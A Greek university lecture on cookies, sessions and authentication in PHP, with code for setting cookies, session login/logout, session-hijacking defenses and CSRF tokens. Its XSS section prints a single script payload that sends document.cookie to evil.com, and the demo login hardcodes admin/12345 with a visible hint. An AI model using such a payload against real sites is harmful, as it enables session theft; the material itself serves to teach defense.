Μάθημα 9: Cookies και Sessions

Διαχείριση Κατάστασης Χρήστη στο Web

📋 Στόχοι Μαθήματος

Στο τέλος του μαθήματος ο φοιτητής θα μπορεί να:

  • Εξηγεί γιατί χρειαζόμαστε cookies και sessions (HTTP είναι stateless)
  • Δημιουργεί, διαβάζει και διαγράφει cookies από τον browser
  • Χρησιμοποιεί sessions για να αποθηκεύει δεδομένα χρήστη στο server
  • Καταλαβαίνει την σχέση cookie ↔ session id
  • Γνωρίζει βασικά θέματα ασφάλειας (HttpOnly, Secure, session hijacking)

🌐 1. Το Πρόβλημα: το HTTP είναι Stateless

💡 Τι σημαίνει Stateless;

Το πρωτόκολλο HTTP είναι χωρίς κατάσταση (stateless). Αυτό σημαίνει ότι κάθε αίτημα (request) που στέλνει ο browser στον server αντιμετωπίζεται σαν να είναι το πρώτο!

Τι συμβαίνει στην πράξη:

📝 Παράδειγμα του προβλήματος:

Φαντάσου ότι κάνεις login σε ένα e-shop. Χωρίς κάποιον τρόπο "μνήμης", κάθε φορά που θα πηγαίνεις σε νέα σελίδα, θα έπρεπε να ξανακάνεις login! Αυτό θα ήταν εντελώς απαράδεκτο για τον χρήστη.

ΑΛλΑ στις πραγματικές εφαρμογές θέλουμε:

Εκεί μπαίνουν στο παιχνίδι τα Cookies, τα Sessions και τα Tokens! 🍪🔑

🔐 Authentication στο Web

📌 Τι είναι Authentication;

Authentication είναι η διαδικασία με την οποία μια εφαρμογή επιβεβαιώνει ποιος είσαι, συνήθως με login (username + password).

🧠 Πρώτο βασικό concept: Stateful vs Stateless

🟦 Stateful Server

Ο server σε θυμάται μετά το login.

Κρατά πληροφορίες για τον χρήστη (session).

🧩 Παράδειγμα:

Πας σε εστιατόριο, ο σερβιτόρος θυμάται τι έχεις παραγγείλει στο τραπέζι σου.

✔ Σε θυμάται → Stateful

🟨 Stateless Server

Ο server δεν θυμάται τίποτα για εσένα.

Πρέπει κάθε φορά να του αποδεικνύεις ποιος είσαι.

🧩 Παράδειγμα:

Πας σε fast-food στο ταμείο και κάθε φορά πληρώνεις/δείχνεις απόδειξη. Ο υπάλληλος δεν σε θυμάται.

✔ Δεν σε θυμάται → Stateless

🔐 Οι 3 βασικές μέθοδοι Authentication

🟥 1) Basic Authentication (Stateless)

📌 Πώς λειτουργεί:

Σε κάθε request στέλνονται username + password σε HTTP Header:

Authorization: Basic base64(username:password)

✔ Πλεονεκτήματα:

  • Πολύ απλό
  • Δεν χρειάζεται session storage
  • Δεν χρειάζεται cookies

❌ Μειονεκτήματα:

  • Στέλνεις συνεχώς τον κωδικό → επικίνδυνο χωρίς HTTPS
  • Δύσκολο πραγματικό logout (απλά σταματάς να στέλνεις το password)

📌 Δεν θυμάται τίποτα → Stateless

🟦 2) Cookies + Sessions (Stateful)

📌 Πώς λειτουργεί:

  1. Ο χρήστης κάνει login
  2. Ο server αποθηκεύει πληροφορίες του χρήστη σε session
  3. Στέλνει στον browser ένα cookie με session ID
  4. Σε κάθε request, ο browser στέλνει το cookie
  5. Ο server βλέπει το session ID και θυμάται τον χρήστη

✔ Πλεονεκτήματα:

  • Ασφαλές, δεν φαίνονται στοιχεία στο cookie
  • Logout = πολύ εύκολο (σβήνουμε session στον server)
  • Ιδανικό για web εφαρμογές (sites)

❌ Μειονεκτήματα:

  • Ο server πρέπει να αποθηκεύει sessions (εξτρά μνήμη)
  • Συχνά απαιτείται read στη βάση/Redis σε κάθε request για να φορτωθεί το session
  • Για scaling, χρειάζεται shared session store (π.χ. Redis)

📌 Ο server σε θυμάται → Stateful

🟨 3) Token Authentication (JWT)

📌 Πώς λειτουργεί:

  1. Κάνεις login
  2. Ο server δημιουργεί JWT (token)
  3. Ο client το αποθηκεύει (localStorage, cookie κτλ.)
  4. Σε κάθε request στέλνεται:
Authorization: Bearer <JWT>

📌 Ο server δεν αποθηκεύει session. Απλά ελέγχει το token → Stateless

✔ Πλεονεκτήματα:

  • Δεν χρειάζεται μνήμη στον server
  • Δεν χρειάζεται read στη βάση κάθε φορά
  • Ιδανικό για APIs, mobile apps, microservices
  • Πολύ καλό για horizontal scaling

❌ Μειονεκτήματα:

  • Αν κλαπεί το token, ισχύει μέχρι να λήξει
  • Πραγματικό logout (invalidate) είναι δύσκολο → θέλει blacklist στον server
  • Αν χρησιμοποιήσουμε blacklist → γίνεται Stateful

🔄 Ροή Token Authentication με Access & Refresh Tokens

[ Login ] | | --> Server δημιουργεί: | - Access Token (10') | - Refresh Token (30 ημέρες) v +---------------+ | Client κρατά | | και τα δύο | +---------------+ | | Κάθε request → Access Token v [ Server ελέγχει ] | ┌──┴────────────────────────────┐ | | [ Access VALID ] [ Access EXPIRED ] | | v | [ Πρόσβαση ] | | Client στέλνει Refresh Token | v [ Server ελέγχει ] | v [ Δημιουργεί νέο Access Token ]
🎯 Τελική απλή φράση:
  • Stateful: Ο server σε θυμάται (Sessions)
  • Stateless: Κάθε φορά του δείχνεις token για να αποδείξεις ποιος είσαι (JWT)

📦 Λιγότερα δεδομένα → πιο ελαφρύ

Το basic auth header έχει περίπου:

Authorization: Basic base64(username:password)

Που συνήθως είναι αρκετά bytes (ανάλογα το username/password). Το session id είναι συνήθως ένα fixed-length random string, π.χ.:

Cookie: sessionid=asj8jsd9s0sj2k2k

2–3 φορές μικρότερο σε μέγεθος και ελαφρύτερο στην επεξεργασία.

🍪 2. Cookies

2.1 Τι είναι ένα Cookie;

Ένα cookie είναι ένα μικρό κομμάτι δεδομένων (key-value pair) που:

  • Αποθηκεύεται στον browser του χρήστη
  • Συνδέεται με ένα συγκεκριμένο domain (π.χ. example.com)
  • Αποστέλλεται αυτόματα σε κάθε request προς αυτό το domain
  • Έχει μέγιστο μέγεθος περίπου 4KB ανά cookie

📊 Πώς λειτουργεί η ροή ενός Cookie:

Βήμα 1: Ο server στέλνει cookie στον browser
Set-Cookie: theme=dark; Path=/; Max-Age=3600
Βήμα 2: Ο browser αποθηκεύει το cookie
Βήμα 3: Σε κάθε επόμενο request, ο browser στέλνει
Cookie: theme=dark
Βήμα 4: Ο server διαβάζει το cookie και "θυμάται" την προτίμηση

2.2 Χρήσεις των Cookies

2.3 Βασικές Ιδιότητες ενός Cookie

Set-Cookie: name=value; Max-Age=3600; Path=/; Domain=example.com; Secure; HttpOnly
Ιδιότητα Περιγραφή Παράδειγμα
name=value Το όνομα και η τιμή του cookie theme=dark
Max-Age Πόσα δευτερόλεπτα θα ζήσει το cookie Max-Age=3600 (1 ώρα)
Expires Συγκεκριμένη ημερομηνία λήξης Expires=Wed, 01 Jan 2025 00:00:00 GMT
Path Σε ποιο μονοπάτι ισχύει το cookie Path=/shop
Domain Για ποιο domain ισχύει Domain=.example.com
Secure Στέλνεται μόνο μέσω HTTPS Secure
HttpOnly Όχι προσβάσιμο από JavaScript HttpOnly
⚠️ Σημαντική Σημείωση:

Αν δεν δώσουμε Max-Age ή Expires, το cookie είναι session cookie και διαγράφεται όταν κλείσει ο browser!

🔒 Ασφάλεια με HttpOnly και Secure:

  • HttpOnly: Προστατεύει από XSS attacks - το JavaScript δεν μπορεί να διαβάσει το cookie με document.cookie
  • Secure: Το cookie στέλνεται μόνο μέσω HTTPS, όχι HTTP - προστατεύει από man-in-the-middle attacks

💻 3. Παραδείγματα Χρήσης Cookies στην PHP

3.1 Δημιουργία Cookie

<?php // ΣΗΜΑΝΤΙΚΟ: Η setcookie() πρέπει να κληθεί ΠΡΙΝ από οποιαδήποτε έξοδο HTML! // Αυτό συμβαίνει επειδή τα cookies στέλνονται στα HTTP headers setcookie( "theme", // Όνομα του cookie "dark", // Τιμή του cookie time() + 3600, // Λήξη: τρέχουσα ώρα + 3600 δευτερόλεπτα (1 ώρα) "/", // Path: ισχύει για όλο το site "", // Domain: current domain (αφήνουμε κενό) true, // Secure: μόνο μέσω HTTPS true // HttpOnly: όχι πρόσβαση από JavaScript ); ?> <html> <head> <title>Cookie Example</title> </head> <body> <h1>Το cookie "theme" δημιουργήθηκε επιτυχώς!</h1> <p>Ανανέωσε τη σελίδα για να δεις το cookie σε λειτουργία.</p> </body> </html>

🔎 Τι είναι το $_COOKIE στην PHP;

🔎 Πώς το χρησιμοποιούμε;

Παίρνουμε ένα cookie έτσι:

$theme = $_COOKIE["theme"];

Αν το cookie δεν υπάρχει, θα έχουμε error. Οπότε χρησιμοποιούμε:

$theme = $_COOKIE["theme"] ?? "light";

3.2 Ανάγνωση Cookie

<?php // Αν υπάρχει cookie "theme", το παίρνουμε. // Αν δεν υπάρχει, χρησιμοποιούμε "light". $theme = $_COOKIE["theme"] ?? "light"; // Το δείχνουμε στην οθόνη echo "Το θέμα σου είναι: " . $theme; ?>
⚠️ Προσοχή στην Ασφάλεια!

Τα cookies αποθηκεύονται στον client και μπορούν να αλλαχθούν από τον χρήστη. ΠΟΤΕ μην εμπιστεύεσαι τυφλά τα δεδομένα από cookies! Πάντα να τα sanitize με htmlspecialchars() ή άλλες μεθόδους.

3.3 Ενημέρωση Cookie

<?php // Για να ενημερώσουμε ένα cookie, απλά καλούμε ξανά την setcookie() // με το ίδιο όνομα αλλά νέα τιμή setcookie( "theme", // Το ίδιο όνομα "light", // Νέα τιμή time() + 7200, // Νέα λήξη: 2 ώρες "/", "", true, true ); echo "Το theme άλλαξε σε light!"; ?>

3.4 Διαγραφή Cookie

<?php // Για να διαγράψουμε ένα cookie, θέτουμε την ημερομηνία λήξης στο παρελθόν // Ο browser θα το διαγράψει αυτόματα setcookie( "theme", // Το όνομα του cookie που θέλουμε να διαγράψουμε "", // Κενή τιμή time() - 3600, // Λήξη στο παρελθόν (π.χ. πριν 1 ώρα) "/" // Πρέπει να είναι το ίδιο path με τη δημιουργία ); echo "Το cookie 'theme' διαγράφηκε!"; ?>
💡 Tip:

Όταν διαγράφεις ένα cookie, βεβαιώσου ότι χρησιμοποιείς το ίδιο path και domain που χρησιμοποιήθηκε κατά τη δημιουργία του!

3.5 Απλό Παράδειγμα Δημιουργίας Cookie (PHP)

👉 Δημιουργεί cookie και το εμφανίζει.

📌 Αποθήκευσε το ως cookie_test.php

<?php // Δημιουργία cookie με όνομα "username" και τιμή "Maria" // Διαρκεί για 1 μέρα (60*60*24 δευτερόλεπτα) setcookie("username", "Maria", time() + 86400); ?> <!DOCTYPE html> <html> <body> <h1>Cookie Παράδειγμα</h1> <?php // Έλεγχος αν υπάρχει cookie if (isset($_COOKIE["username"])) { echo "Το cookie είναι: " . $_COOKIE["username"]; } else { echo "Δεν υπάρχει cookie ακόμα. Κάνε refresh τη σελίδα!"; } ?> </body> </html>
📌 Τι να παρατηρήσεις:
  1. Την πρώτη φορά που φορτώνεις τη σελίδα, το cookie δημιουργείται, αλλά δεν εμφανίζεται ακόμα.
  2. Κάνε Refresh (F5) → τώρα εμφανίζεται το cookie.
  3. Δες το cookie στον browser: Inspect → Application → Cookies → localhost
🚀 Τι έμαθες;
  • Πώς δημιουργείται cookie (setcookie)
  • Πώς διαβάζεται ($_COOKIE["username"])
  • Γιατί χρειάζεται refresh (ο browser πρώτα το αποθηκεύει, μετά το στέλνει στο 2ο request)

🎯 4. Sessions

Τα sessions λύνουν το πρόβλημα της "κατάστασης" πιο ασφαλώς από το να αποθηκεύουμε τα πάντα σε cookies.

4.1 Τι είναι ένα Session;

Ένα session είναι "κατάσταση χρήστη" που αποθηκεύεται στον server, όχι στον browser!

  • Ο browser κρατάει μόνο ένα session ID (συνήθως σε cookie)
  • Στον server υπάρχει μια αποθήκη που συνδέει: session_id → {user_data}
  • Τα δεδομένα είναι πιο ασφαλή γιατί δεν φαίνονται στον client

📊 Πώς λειτουργεί η ροή ενός Session:

1ο Request: Ο χρήστης επισκέπτεται τη σελίδα
Ο server δημιουργεί νέο session ID (π.χ. "abc123xyz")
Server Response: Στέλνει cookie με το session ID
Set-Cookie: PHPSESSID=abc123xyz; HttpOnly; Secure
2ο Request: Ο browser στέλνει το session ID
Cookie: PHPSESSID=abc123xyz
Server: Χρησιμοποιεί το session ID για να βρει
τα δεδομένα του χρήστη (username, cart, preferences κλπ)

4.2 Πώς συνδέεται με τα Cookies;

📝 Η σχέση Cookie ↔ Session:

Cookie: Αποθηκεύεται στον browser, περιέχει μόνο το session ID (π.χ. PHPSESSID=abc123)

Session: Αποθηκεύεται στον server, περιέχει όλα τα δεδομένα του χρήστη

Το cookie χρησιμεύει ως "κλειδί" για να βρει ο server τα δεδομένα του session!

Που αποθηκεύεται; Τι περιέχει; Ασφάλεια
Cookie (PHPSESSID) Μόνο το session ID Χαμηλός κίνδυνος (είναι random string)
Session (server) Όλα τα δεδομένα χρήστη Πιο ασφαλές (δεν φαίνεται στον client)

💻 5. Παραδείγματα Χρήσης Sessions στην PHP

5.1 Ξεκίνημα Session

<?php // Η session_start() πρέπει να είναι το ΠΡΩΤΟ πράγμα στο script! // Αυτή η εντολή: // 1. Ελέγχει αν υπάρχει cookie PHPSESSID // 2. Αν ΝΑΙ: φορτώνει τα υπάρχοντα session data // 3. Αν ΟΧΙ: δημιουργεί νέο session ID και στέλνει νέο cookie session_start(); // Αποθήκευση δεδομένων στο session // Το $_SESSION είναι ένας associative array $_SESSION["username"] = "kostas"; $_SESSION["role"] = "admin"; $_SESSION["login_time"] = time(); echo "Το session ξεκίνησε για τον χρήστη: " . $_SESSION["username"]; ?>
⚠️ Σημαντικό!

Η session_start() πρέπει να καλείται ΠΡΙΝ από οποιαδήποτε έξοδο HTML, όπως και η setcookie()! Αν στείλεις HTML πρώτα, το session δεν θα λειτουργήσει!

5.2 Ανάγνωση από Session

<?php // Πάντα πρέπει να καλούμε session_start() στην αρχή! session_start(); // Έλεγχος αν υπάρχει η μεταβλητή username στο session if (isset($_SESSION["username"])) { // Ο χρήστης είναι συνδεδεμένος $username = htmlspecialchars($_SESSION["username"], ENT_QUOTES, 'UTF-8'); echo "Καλώς ήρθες, " . $username . "!"; // Μπορούμε να διαβάσουμε και άλλα στοιχεία if (isset($_SESSION["role"])) { echo "Ρόλος: " . $_SESSION["role"]; } } else { // Ο χρήστης ΔΕΝ είναι συνδεδεμένος echo "Δεν έχεις κάνει login. Παρακαλώ συνδέσου."; } ?>

5.3 Διαγραφή Συγκεκριμένης Μεταβλητής από Session

<?php session_start(); // Διαγραφή μίας συγκεκριμένης μεταβλητής unset($_SESSION["cart"]); echo "Το καλάθι άδειασε!"; ?>

5.4 Καταστροφή Session (Logout)

<?php // Πάντα ξεκινάμε το session πρώτα session_start(); // Βήμα 1: Διαγραφή όλων των session μεταβλητών // Κάνουμε την $_SESSION έναν άδειο πίνακα $_SESSION = []; // Βήμα 2: Διαγραφή του session cookie από τον browser // Αυτό είναι προαιρετικό αλλά συνιστάται για πλήρη logout if (ini_get("session.use_cookies")) { // Παίρνουμε τις παραμέτρους του session cookie $params = session_get_cookie_params(); // Διαγράφουμε το cookie βάζοντας expire time στο παρελθόν setcookie( session_name(), // Το όνομα του cookie (συνήθως PHPSESSID) "", // Κενή τιμή time() - 42000, // Λήξη στο παρελθόν $params["path"], $params["domain"], $params["secure"], $params["httponly"] ); } // Βήμα 3: Καταστροφή του session στον server // Αυτό διαγράφει το session file από τον server session_destroy(); echo "Έγινε επιτυχώς logout!"; ?>
💡 Γιατί τρία βήματα για logout;
  • Βήμα 1 ($_SESSION = []): Καθαρίζει τα δεδομένα από τη μνήμη
  • Βήμα 2 (setcookie): Διαγράφει το session cookie από τον browser
  • Βήμα 3 (session_destroy()): Διαγράφει το session file από τον server

Και τα τρία είναι απαραίτητα για πλήρη και ασφαλή logout!

5.5 Πλήρες Παράδειγμα: Σύστημα Login με Session

📄 login.php

<?php session_start(); // Σκληρά κωδικοποιημένα credentials (ΜΗΝ το κάνετε στην πραγματικότητα!) // Στην πράξη θα ελέγχατε με βάση δεδομένων $valid_username = "admin"; $valid_password = password_hash("12345", PASSWORD_DEFAULT); $error = ""; // Έλεγχος αν υποβλήθηκε η φόρμα if ($_SERVER["REQUEST_METHOD"] === "POST") { $username = $_POST["username"] ?? ""; $password = $_POST["password"] ?? ""; // Έλεγχος credentials if ($username === $valid_username && password_verify($password, $valid_password)) { // Login επιτυχής! $_SESSION["user_id"] = 1; $_SESSION["username"] = $username; $_SESSION["role"] = "admin"; $_SESSION["login_time"] = time(); // Προστασία από session fixation attack session_regenerate_id(true); // Ανακατεύθυνση στην προστατευμένη σελίδα header("Location: dashboard.php"); exit(); } else { $error = "Λάθος username ή password!"; } } ?> <!DOCTYPE html> <html> <head> <title>Login</title> <style> body { font-family: Arial; max-width: 400px; margin: 50px auto; } .error { color: red; margin-bottom: 10px; } input { display: block; margin: 10px 0; padding: 8px; width: 100%; } button { padding: 10px 20px; background: #14b8a6; color: white; border: none; cursor: pointer; } </style> </head> <body> <h1>Login</h1> <?php if ($error): ?> <div class="error"><?php echo htmlspecialchars($error); ?></div> <?php endif; ?> <form method="post"> <label>Username: <input type="text" name="username" required> </label> <label>Password: <input type="password" name="password" required> </label> <button type="submit">Σύνδεση</button> </form> <p>Hint: username=admin, password=12345</p> </body> </html>

📄 dashboard.php (Προστατευμένη Σελίδα)

<?php session_start(); // Έλεγχος αν ο χρήστης είναι συνδεδεμένος if (!isset($_SESSION["user_id"])) { // Αν ΔΕΝ είναι συνδεδεμένος, ανακατεύθυνση στη σελίδα login header("Location: login.php"); exit(); } // Ο χρήστης είναι συνδεδεμένος, συνεχίζουμε κανονικά $username = htmlspecialchars($_SESSION["username"], ENT_QUOTES, 'UTF-8'); $role = $_SESSION["role"]; $login_time = date("H:i:s", $_SESSION["login_time"]); ?> <!DOCTYPE html> <html> <head> <title>Dashboard</title> <style> body { font-family: Arial; max-width: 800px; margin: 50px auto; } .info { background: #e0f2f1; padding: 20px; border-radius: 8px; margin: 20px 0; } a { display: inline-block; margin-top: 20px; padding: 10px 20px; background: #dc3545; color: white; text-decoration: none; border-radius: 4px; } </style> </head> <body> <h1>Καλώς ήρθες στο Dashboard!</h1> <div class="info"> <h2>Πληροφορίες Session</h2> <p><strong>Username:</strong> <?php echo $username; ?></p> <p><strong>Ρόλος:</strong> <?php echo $role; ?></p> <p><strong>Ώρα Login:</strong> <?php echo $login_time; ?></p> <p><strong>Session ID:</strong> <?php echo session_id(); ?></p> </div> <p>Αυτή είναι μια προστατευμένη σελίδα. Μόνο συνδεδεμένοι χρήστες μπορούν να τη δουν!</p> <a href="logout.php">Logout</a> </body> </html>

📄 logout.php

<?php session_start(); // Πλήρης καταστροφή του session (3 βήματα) $_SESSION = []; if (ini_get("session.use_cookies")) { $params = session_get_cookie_params(); setcookie(session_name(), "", time() - 42000, $params["path"], $params["domain"], $params["secure"], $params["httponly"] ); } session_destroy(); // Ανακατεύθυνση στη σελίδα login header("Location: login.php"); exit(); ?>

🔐 Καλές Πρακτικές Ασφάλειας:

  • session_regenerate_id(true): Αλλάζει το session ID μετά το login για προστασία από session fixation
  • Έλεγχος authentication: Κάθε προστατευμένη σελίδα πρέπει να ελέγχει αν ο χρήστης είναι συνδεδεμένος
  • htmlspecialchars(): Πάντα sanitize τα session data πριν τα εμφανίσεις
  • exit() μετά header(): Σταματά την εκτέλεση του script μετά από redirect

⚖️ 6. Cookies vs Sessions - Σύγκριση

Χαρακτηριστικό Cookies (Client-side) Sessions (Server-side)
Πού αποθηκεύονται; Στον browser του χρήστη Στον server (συνήθως σε αρχεία ή βάση)
Μέγεθος Περιορισμένο (~4KB ανά cookie) Μεγαλύτερο, ανάλογα με τον server
Ασφάλεια Πιο ευάλωτα (στον client) Πιο ασφαλή (δεδομένα στον server)
Ταχύτητα Γρήγορα (local) Ελαφρώς πιο αργά (server lookup)
Διάρκεια ζωής Μπορεί να είναι μόνιμο (με Max-Age) Συνήθως λήγει με το κλείσιμο του browser
Τι κρατάμε συνήθως; Preferences, μη ευαίσθητα δεδομένα Login state, καλάθι, ρόλους, ευαίσθητα δεδομένα
Εξάρτηση από cookie; Είναι τα ίδια τα cookies Χρησιμοποιούν cookie για το session ID
Προσβασιμότητα Ορατά στον χρήστη (DevTools) Κρυφά από τον χρήστη

📊 Πότε να χρησιμοποιούμε το καθένα;

🍪 Χρησιμοποίησε Cookies όταν:
  • Θέλεις να αποθηκεύσεις προτιμήσεις (theme, γλώσσα)
  • Τα δεδομένα δεν είναι ευαίσθητα
  • Θέλεις τα δεδομένα να παραμένουν μετά το κλείσιμο του browser
  • Χρειάζεσαι απλή λύση χωρίς server state
🎯 Χρησιμοποίησε Sessions όταν:
  • Κρατάς login state
  • Αποθηκεύεις ευαίσθητα δεδομένα
  • Έχεις μεγάλο όγκο δεδομένων
  • Χρειάζεσαι καλύτερη ασφάλεια
  • Τα δεδομένα πρέπει να διαγραφούν με το logout

🔒 7. Θέματα Ασφάλειας

7.1 Session Hijacking

⚠️ Τι είναι το Session Hijacking;

Ένας επιτιθέμενος κλέβει το session ID του χρήστη και το χρησιμοποιεί για να προσποιηθεί τον χρήστη!

Πώς γίνεται:

Πώς προστατευόμαστε:

<?php // 1. Χρήση HTTPS (Secure cookie) ini_set('session.cookie_secure', '1'); // 2. HttpOnly cookie (όχι πρόσβαση από JavaScript) ini_set('session.cookie_httponly', '1'); // 3. Αλλαγή session ID μετά το login (προστασία από session fixation) session_start(); if ($login_successful) { session_regenerate_id(true); } // 4. Session timeout - αυτόματη λήξη μετά από 30 λεπτά αδράνειας if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) { session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // 5. Έλεγχος User Agent (προαιρετικό, όχι 100% αξιόπιστο) if (!isset($_SESSION['user_agent'])) { $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT']; } elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) { // Πιθανό session hijacking! session_destroy(); die("Security alert!"); } ?>

7.2 XSS (Cross-Site Scripting)

⚠️ Πρόβλημα:

Ο επιτιθέμενος εισάγει κακόβουλο JavaScript που κλέβει cookies:

<script>document.location='evil.com?cookie='+document.cookie</script>
✅ Λύση:
  • HttpOnly flag: Τα JavaScript δεν μπορούν να διαβάσουν το cookie
  • htmlspecialchars(): Sanitize όλα τα user inputs πριν τα εμφανίσεις

7.3 CSRF (Cross-Site Request Forgery)

⚠️ Πρόβλημα:

Ο επιτιθέμενος εξαναγκάζει τον χρήστη να κάνει ανεπιθύμητες ενέργειες σε site που είναι ήδη συνδεδεμένος.

✅ Λύση - CSRF Token:
<?php session_start(); // Δημιουργία CSRF token if (!isset($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } // Στη φόρμα: ?> <form method="post"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <!-- Υπόλοιπα πεδία φόρμας --> </form> <?php // Έλεγχος του token κατά την υποβολή: if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { die("CSRF attack detected!"); } // Συνέχεια με την επεξεργασία της φόρμας... } ?>

📝 8. Σύνοψη και Βέλτιστες Πρακτικές

🎯 Κεντρικά Σημεία:
  • Το HTTP είναι stateless - δεν θυμάται τίποτα μεταξύ requests
  • Cookies = μικρά δεδομένα στον browser (4KB max)
  • Sessions = δεδομένα στον server, session ID στον browser
  • Τα sessions χρησιμοποιούν cookies για το session ID
  • Προτίμησε sessions για ευαίσθητα δεδομένα
✅ Βέλτιστες Πρακτικές Ασφάλειας:
  1. Πάντα HTTPS: Χρησιμοποίησε το Secure flag στα cookies
  2. HttpOnly flag: Προστασία από XSS attacks
  3. session_regenerate_id(): Μετά κάθε login για προστασία από session fixation
  4. Session timeout: Αυτόματη λήξη μετά από αδράνεια
  5. Sanitize inputs: Πάντα htmlspecialchars() για τα session/cookie data
  6. CSRF tokens: Για προστασία από CSRF attacks
  7. Whitelist validation: Έλεγχος επιτρεπτών τιμών (όπως στο theme example)
  8. Proper logout: 3 βήματα - clear $_SESSION, delete cookie, session_destroy()
⚠️ Συνηθισμένα Λάθη να Αποφύγεις:
  • ❌ Να στέλνεις cookies χωρίς Secure flag σε production
  • ❌ Να αποθηκεύεις passwords σε cookies ή sessions
  • ❌ Να εμπιστεύεσαι τυφλά τα cookie data χωρίς validation
  • ❌ Να ξεχνάς να καλείς session_start() στην αρχή κάθε σελίδας
  • ❌ Να στέλνεις HTML πριν την setcookie() ή session_start()
  • ❌ Να μην κάνεις exit() μετά από header() redirect
💡 Πρακτικά Tips:
  • Χρησιμοποίησε ?? (null coalescing) για default τιμές: $theme = $_COOKIE['theme'] ?? 'light';
  • Για development, μπορείς να δεις τα sessions στο /tmp directory (Linux)
  • Χρησιμοποίησε τα Developer Tools του browser για να δεις cookies (Application tab)
  • Το session_id() σου δίνει το τρέχον session ID
  • Τα session files συνήθως έχουν format: sess_[session_id]

🎓 Ασκήσεις Εξάσκησης

Προτεινόμενες Ασκήσεις:
  1. Δημιούργησε ένα σύστημα προτιμήσεων με cookies (theme, font size, language)
  2. Φτιάξε ένα απλό σύστημα login/logout με sessions
  3. Πρόσθεσε "Remember Me" functionality με cookies που διαρκούν 30 ημέρες
  4. Υλοποίησε session timeout (auto-logout μετά από 15 λεπτά αδράνειας)
  5. Φτιάξε ένα καλάθι αγορών που χρησιμοποιεί sessions
  6. Πρόσθεσε CSRF protection σε μια φόρμα
  7. Δημιούργησε ένα "view counter" με cookies που μετρά πόσες φορές επισκέφτηκες μια σελίδα

✅ Τέλος Μαθήματος 9

Cookies και Sessions - Διαχείριση Κατάστασης Χρήστη

Πανεπιστήμιο Πελοποννήσου - Τμήμα Ψηφιακών Συστημάτων